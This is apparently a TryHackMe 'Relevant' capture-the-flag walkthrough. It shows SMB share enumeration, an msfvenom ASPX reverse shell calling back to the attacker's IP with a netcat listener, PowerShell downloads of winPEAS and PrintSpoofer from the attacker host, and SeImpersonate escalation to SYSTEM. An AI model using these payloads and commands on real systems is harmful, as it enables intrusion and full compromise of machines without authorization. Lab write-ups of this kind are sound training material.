

# SMB Enum:

## 1. View fileshare

```
smbclient -U "" -L \\\\$ip
```

```
# smbclient -U "" -L \\\\$ip
Enter WORKGROUP\'s password:

      Sharename      Type      Comment
      -
ADMIN$              Disk      Remote Admin
C$                  Disk      Default share
IPC$                 IPC       Remote IPC
nt4wrksv            Disk
SMB1 disabled -- no workgroup available
```

## 2. Access file shares

- ADMIN\$: no access
- C\$: no access
- IPC\$: no access
- nt4wrksv: able to access

```
(root@kali)~[~/tryhackme/relevant/scanResults]
# smbclient //ip/nt4wrksv
Enter WORKGROUP/root's password:
Try "help" to get a list of possible commands.
smb: \> l
.                               D            0   Sun Jul 26 05:46:04 2020
..                              D            0   Sun Jul 26 05:46:04 2020
passwords.txt                   A           98   Sat Jul 25 23:15:33 2020

7735807 blocks of size 4096. 4946039 blocks available
smb: \> get passwords.txt
getting file \passwords.txt of size 98 as passwords.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \>
```

```
(root@kali)~[~/tryhackme/relevant/smb]
# cat passwords.txt
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCatIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk
```

- Looks like base64

# Obtaining Web Shell, and User Flag

3. Check if fileshare(nt4wrksv) is a web dir: It is

- 10.10.44.126:49663 [Found]
- 10.10.44.126:80 [404 Error]

4. Insert reverse shell

- created using <https://pentest.ws/tools/venom-builder>

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.4.53.197  
LPORT=4444 -f aspx -o reverse_shell.aspx
```

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.4.53.197  
LPORT=4444 -f aspx -o reverse_shell3.aspx
```

5. Execute reverse shell by visiting

[http://10.10.130.17:49663/nt4wrksv/reverse\\_shell3.aspx](http://10.10.130.17:49663/nt4wrksv/reverse_shell3.aspx)

```
root@kali: ~/tryhackme/re  
(rootkali)-[~/tryhackme/relevant/scanResults]  
# nc -nvlp 4444  
listening on [any] 4444 ...  
connect to [10.4.53.197] from (UNKNOWN) [10.10.130.17] 49748  
Microsoft Windows [Version 10.0.14393]  
(c) 2016 Microsoft Corporation. All rights reserved.  
  
c:\windows\system32\inetsrv>whoami  
whoami  
iis apppool\defaultapppool  
  
c:\windows\system32\inetsrv>
```

6. Path to Bob Desktop dir to obtain user flag

## Priv Esc, Obtaining Root flag

## 1. Download winpeas

```
powershell -c "Invoke-WebRequest -Uri 10.4.53.197/winPEASx64.exe -  
OutFile winPEASx64.exe"
```

```
C:\Users\Bob\Desktop>powershell -c "Invoke-WebRequest -Uri 10.4.53.197/winPEASx64.exe -OutFile winPEASx64.exe"  
powershell -c "Invoke-WebRequest -Uri 10.4.53.197/winPEASx64.exe -OutFile winPEASx64.exe"  
  
C:\Users\Bob\Desktop>dir  
dir  
Volume in drive C has no label.  
Volume Serial Number is AC3C-5CB5  
  
Directory of C:\Users\Bob\Desktop  
  
11/14/2021 12:38 AM <DIR> .  
11/14/2021 12:38 AM <DIR> ..  
11/14/2021 12:38 AM <DIR> Microsoft  
07/25/2020 07:24 AM 35 user.txt  
11/14/2021 12:39 AM 1,925,632 winPEASx64.exe  
2 File(s) 1,925,667 bytes  
3 Dir(s) 20,207,677,440 bytes free  
  
C:\Users\Bob\Desktop>
```

- Not using winPEAS

## 2. Check for current privileges

```
whoami /priv
```

```
c:\windows\system32\inetsrv>whoami /priv  
whoami /priv  
  
PRIVILEGES INFORMATION  
-----  
  
Privilege Name Description State  
=====
```

SeAssignPrimaryTokenPrivilege	Replace a process level token	Disabled
SeIncreaseQuotaPrivilege	Adjust memory quotas for a process	Disabled
SeAuditPrivilege	Generate security audits	Disabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeImpersonatePrivilege	Impersonate a client after authentication	Enabled
SeCreateGlobalPrivilege	Create global objects	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Disabled

- SelpersonatePrivileges (Exploitable)

## 3. Download [PrinterSpoofer](#)

```
powershell -c "Invoke-WebRequest -Uri  
http://10.4.53.197/PrintSpoofer.exe -OutFile PrintSpoofer.exe"
```

## 4. Execute it

```
PrintSpoofer.exe -i -c cmd
```

```
powershell -c "Invoke-WebRequest -Uri http://10.4.53.197/PrintSpoofer.exe -OutFile PrintSpoofer.exe"
```

```
C:\Users\Bob\Desktop>
C:\Users\Bob\Desktop>ls
ls
'ls' is not recognized as an internal or external command,
operable program or batch file.
```

```
C:\Users\Bob\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is AC3C-5CB5
```

Directory of C:\Users\Bob\Desktop

```
11/14/2021 01:26 AM <DIR>      .
11/14/2021 01:26 AM <DIR>      ..
11/14/2021 12:38 AM <DIR>      Microsoft
11/14/2021 01:26 AM             27,136 PrintSpoofer.exe
07/25/2020 07:24 AM             35 user.txt
11/14/2021 12:39 AM      1,925,632 winPEASx64.exe
               3 File(s)      1,952,803 bytes
               3 Dir(s)  21,135,609,856 bytes free
```

```
C:\Users\Bob\Desktop>PrintSpoofer.exe -i -c cmd
PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32>whoami
whoami
nt authority\system
```

```
C:\Windows\system32>
```

## 5. Obtain root flag